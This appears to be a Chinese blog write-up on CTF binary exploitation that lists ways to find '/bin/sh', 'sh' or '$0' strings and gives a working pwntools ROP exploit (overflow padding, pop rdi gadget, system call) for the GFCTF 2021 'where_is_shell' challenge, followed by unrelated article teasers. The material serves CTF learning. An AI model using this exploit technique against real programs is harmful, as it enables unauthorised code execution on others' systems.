【PWN · 总结】system返回shell(‘/bin/sh‘、‘sh‘、$(0))
pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。
目录
前言
一、'/bin/sh'
1.strings
2.IDA
3.pwntools
4.ROPgadget
5.libc中寻找
二、'sh'
三、$(0)
exp
IDA查看机器码
总结
前言
就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell
一、'/bin/sh'
这个无需多说,然而查找方式可以总结一下
1.strings
linux的指令~
strings filename | grep /bin/sh
2.IDA
shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'
3.pwntools
pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串
from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故
4.ROPgadget
ROPgadget --binary filename --strings '/bin/sh'
5.libc中寻找
from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可)
libc_addr=puts_real_addr-libc.dump("puts") #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh") #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system") #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================
当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串
二、'sh'
这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下
三、$(0)
这是当前遇到的一道题目,[GFCTF 2021]where_is_shell
利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~
查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。
exp
from pwn import *
from LibcSearcher import *context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)elf=ELF("./shell")system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:print(system_plt," ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)io.sendlineafter(b'it?\n',payload)
io.interactive()
IDA查看机器码


opcode bytes设置一下,保存即可
总结
对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦
相关文章:
【PWN · 总结】system返回shell(‘/bin/sh‘、‘sh‘、$(0))
pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA 3.pwntools 4.ROPgadget 5.libc中寻找 二、sh 三、$(0) exp IDA查看机器码 …...
《庄子》笔记
庄子 前述:庄子,战国时宋国人。 1.鲲鹏:胸襟宽广,高远,无界限。 2.寒蝉和灵龟:小年的悲哀。 3.小麻雀的得意:境界不同,又有什么可比性呢。 4.列子随风而行:得大道者&…...
五、VBO、EBO 和 VAO
五、VBO、EBO 和 VAO VBO、EBO 和 VAO: VBO(Vertex Buffer Object)是指顶点缓冲区对象,而 EBO(Element Buffer Object)是指图元索引缓冲区对象,VAO 是顶点数据的缓冲区对象,VAO 和…...
数据库期末复习(7.2)查询优化
查询优化的概述 商用数据库花了很多的资金投入到查询优化。 查询优化的分类 逻辑查询优化 物理查询优化 比逻辑查询计划多了怎么去执行的方式,为的是数据操作速度更快 逻辑查询优化的三种关键技术 在科学研究的道路上我们往往不是一帆风顺的,人的认识也是局限的,但是我…...
深入探索:在std::thread中创建并管理QEventLoop的全面指南
深入探索:在std::thread中创建并管理QEventLoop的全面指南 1. 前言:理解QEventLoop和std::thread的基本概念1.1 QEventLoop的基本概念和工作原理1.2 std::thread的基本概念和工作原理1.3 QTimer的基本概念和工作原理 2. 在std::thread中创建QEventLoop&a…...
【Netty】Netty中的超时处理与心跳机制(十九)
文章目录 前言一、超时监测二、IdleStateHandler类三、ReadTimeoutHandler类四、WriteTimeoutHandler类五、实现心跳机制5.1. 定义心跳处理器5.2. 定义 ChannelInitializer5.3. 编写服务器5.4. 测试 结语 前言 回顾Netty系列文章: Netty 概述(一&#…...
尚硅谷大数据hadoop教程_mapReduce
p67 课程介绍 p68概述 p69 mapreduce核心思想 p70 wordcount源码 序列化类型 mapReduce三类进程 p71 编程规范 用户编写的程序分成三个部分:Mapper、Reducer和Driver。 P72 wordcount需求案例分析 p 73 -78 案例环境准备 (1)创建maven…...
一键启停脚本
在/root 目录下创建bin文件夹再创建你的文件 文件里面写如下命令 #!/bin/bash if [ $# -lt 1 ] then echo "No Args Input..." exit ; fi case $1 in "start") echo " 启动集群 " echo " --------------- 启动 -------…...
20230604_Hadoop命令操作练习
20230604_Hadoop命令操作示例 再HDFS中创建文件夹:/itcast/it heima,如存在请删除(跳过回收站)。 hdfs dfs -mkdir -p /itcast/itheima上传/etc/hosts文件到hdfs的/itcast/itheima内。 hadoop fs -put /etc/hosts /itcast/itheima…...
hashCode 与 equals(重要)?
hashCode () 作用是获取哈希码,也称为散列码,实际上是返回一个int 整数,哈希码作用是确定该对象在哈希表中的索引位置;hashCode() 定义在JDK的Object.java中,意味着Java中的任何类都包含有hashCode() 函数。 散列表存…...
华为OD机试(2023.5新题) 需要打开多少监控器(java,py,c++,js)
华为OD机试真题目录:真题目录 本文章提供java、python、c++、jsNode四种代码 题目描述 某长方形停车场,每个车位上方都有对应监控器,当且仅当在当前车位或者前后左右四个方向任意一个车位范围停车时,监控器才需要打开 给出某一时刻停车场的停车分布,请统计最少需要打开…...
209.长度最小的子数组
2023.6.1 这道题的关键是滑动窗口法,滑动窗口法应设定好窗口左侧的右移条件与窗口右侧的移动条件 本例中先初始化好用到的各种值 循环的终止条件是滑动窗口右侧超出列表的范围 走来 cur_sum nums[right] 是将cur_sum的值更新为当前滑动窗口[left,right]的值之和 接…...
react antd Modal里Form设置值不起作用
问题描述: react antd Modal里Form设置值不起作用,即使用form的api。比如:编辑时带出原有的值。 造成的原因:一般设置值都是在声明周期里设置,比如:componentDidMounted里设置,hook则在useEff…...
idea连接Linux服务器
一、 介绍 配置idea的ssh会话和sftp可以实现对linux远程服务器的访问和文件上传下载,是替代Xshell的理想方式。这样我们就能在idea里面编写文件并轻松的将文件上传到linux服务器中。而且还能远程编辑linux服务器上的文件。掌握并熟练使用,能够大大提高我…...
在windows环境下使用winsw将jar包注册为服务(实现开机自启和配置日志输出模式)
前言 Windows系统使用java -jar m命令行运行Java项目会弹出黑窗。首先容易误点导致程序关闭,其次我们希望能在Windows系统做到开机自动启动。因此对于SpringBoot程序,目前主流的方法是采用winsw,简单容易配置 1.下载winsw工具 https://git…...
汽车通用款一键启动舒适进入拓展蓝牙4G网络手机控车系统
1.PKE无钥匙舒适进入功能,靠近车门自动开锁,离开车门自动上锁 2.一键启动/熄火 3.远程遥控启动/熄火 4.遥控设防盗/解除防盗 5.遥控开后尾箱锁负信号输出(需要原车自带尾箱马达和继电器) 6.静音防盗/解除防盗 7.启动车后踩脚刹自动上锁 8.熄火车辆后自动开锁…...
QSettings Class
QSettings类 QSettings类公共类型(枚举)公有成员函数静态成员函数函数作用这个类写文件的特征 QSettings类 QSettings类提供持久的独立于平台的应用程序设置。 头文件:#include< QSettings >qmake:QT core继承(父):QObje…...
【vue】关于vue中的插槽
当在Vue.js中构建可复用的组件时,有时候需要在父组件中传递内容给子组件。Vue的插槽(slot)机制提供了一种灵活的方式来实现这种组件间通信。 插槽允许你在父组件中编写子组件的内容,然后将其传递给子组件进行渲染。这样ÿ…...
Springboot整合Mybatis Plus【超详细】
文章目录 Mybatis Plus简介快速整合1,导入依赖2,yml文件中配置信息3,启动类上加上扫描mapper接口所在包的注解4,编写配置类5,实现自动注入通用字段接口(非必需)6,编写生成器工具类 使…...
接口测试-使用mock生产随机数据
在做接口测试的时候,有的接口需要进行大量的数据进行测试,还不能是重复的数据,这个时候就需要随机生产数据进行测试了。这里教导大家使用mock.js生成各种随机数据。 一、什么是mock.js mock.js是用于生成随*机数据,拦截 Ajax 请…...
PyTorch/TensorFlow张量加速实战:3个被90%工程师忽略的底层CUDA内核调优技巧
第一章:PyTorch/TensorFlow张量加速实战:3个被90%工程师忽略的底层CUDA内核调优技巧CUDA流与默认流解耦:避免隐式同步瓶颈 PyTorch 和 TensorFlow 默认将所有 CUDA 操作提交至默认流(null stream),导致跨 k…...
ExifToolGUI完全指南:让照片元数据管理效率倍增的实用技巧
ExifToolGUI完全指南:让照片元数据管理效率倍增的实用技巧 【免费下载链接】ExifToolGui A GUI for ExifTool 项目地址: https://gitcode.com/gh_mirrors/ex/ExifToolGui 还在为照片位置管理烦恼?这款工具让地理标记效率提升300%。ExifToolGUI作为…...
[特殊字符] Nano-Banana效果对比:Turbo LoRA vs 原生SDXL拆解精度实测
Nano-Banana效果对比:Turbo LoRA vs 原生SDXL拆解精度实测 最近在折腾AI生成产品拆解图,发现了一个挺有意思的项目——Nano-Banana。这玩意儿号称是专门为产品拆解、平铺展示风格设计的轻量级文生图系统。 我一开始用原生的SDXL模型生成拆解图…...
技术破局:B端拓客号码核验的痛点突围与行业新生态,氪迹科技法人股东 核验筛选系统,阶梯式价格
在B端拓客进入“精准致胜”的新时代,线索质量直接决定拓客成效,而号码核验作为筛选有效线索的“第一道门槛”,其服务水平直接影响拓客团队的投入回报与运营效率。当下,随着AI拓客技术的普及,号码核验已渗透到电销、金融…...
Datart BI 工具数据库连接优化:解决 wait millis 5001 报错与连接池配置调整
1. 遇到 wait millis 5001 报错怎么办? 最近在帮客户部署 Datart BI 工具时,遇到了一个典型的数据库连接问题。每天早上业务高峰期,系统日志里就会频繁出现"wait millis 5001"的报错,但奇怪的是直接登录数据库服务器检查…...
35 岁前端被优化?我用 AI 转型全栈的完整路径
上周,我 35 岁的前端朋友老张被 HR 叫进会议室,聊了 20 分钟,拿了 N1 走人。 他的技术栈没问题,Vue3TS 都会,项目经验也够。问题在于:他做的所有工作,一个应届生 AI 工具都能搞定。这不是危言耸…...
PTA编程题:C语言计算火车运行时间,两种思路哪种更优?(附完整代码)
PTA编程题:C语言计算火车运行时间的两种算法深度解析 火车运行时间计算看似简单,却蕴含着算法设计的精妙之处。这道PTA经典题目要求我们根据出发和到达时间计算旅途时长,输出格式化为"hh:mm"。对于C语言初学者而言,这不…...
百万行实时清洗延迟<8ms?Polars 2.0 Arrow2集成深度剖析:内存布局、缓存对齐、CPU预取指令级优化(LLVM IR反编译佐证)
第一章:百万行实时清洗延迟<8ms?Polars 2.0 Arrow2集成深度剖析总览Polars 2.0 的核心突破在于深度整合 Arrow2(Rust 实现的 Apache Arrow 内存格式库),彻底重构了底层内存布局与计算执行引擎。这一集成不仅消除了跨…...
电子工程师职业发展路径与技术能力提升指南
电子工程师职业发展全景指南1. 职业发展路径解析1.1 新手工程师常见困境与突破电子行业新入行者普遍面临"三无"困境:无事可做、无人指导、工作缺乏技术含量。这种矛盾心态源于三个关键因素:行业认知不足:缺乏对电子产业链的全局认识…...
告别重复造轮子:用快马AI一键生成极客日报的高效数据管道代码
告别重复造轮子:用快马AI一键生成极客日报的高效数据管道代码 作为一个技术资讯类应用的开发者,我深知数据管道的搭建有多耗时。从内容抓取到清洗处理,再到分类归档,每个环节都需要大量重复性编码。最近尝试了InsCode(快马)平台的…...
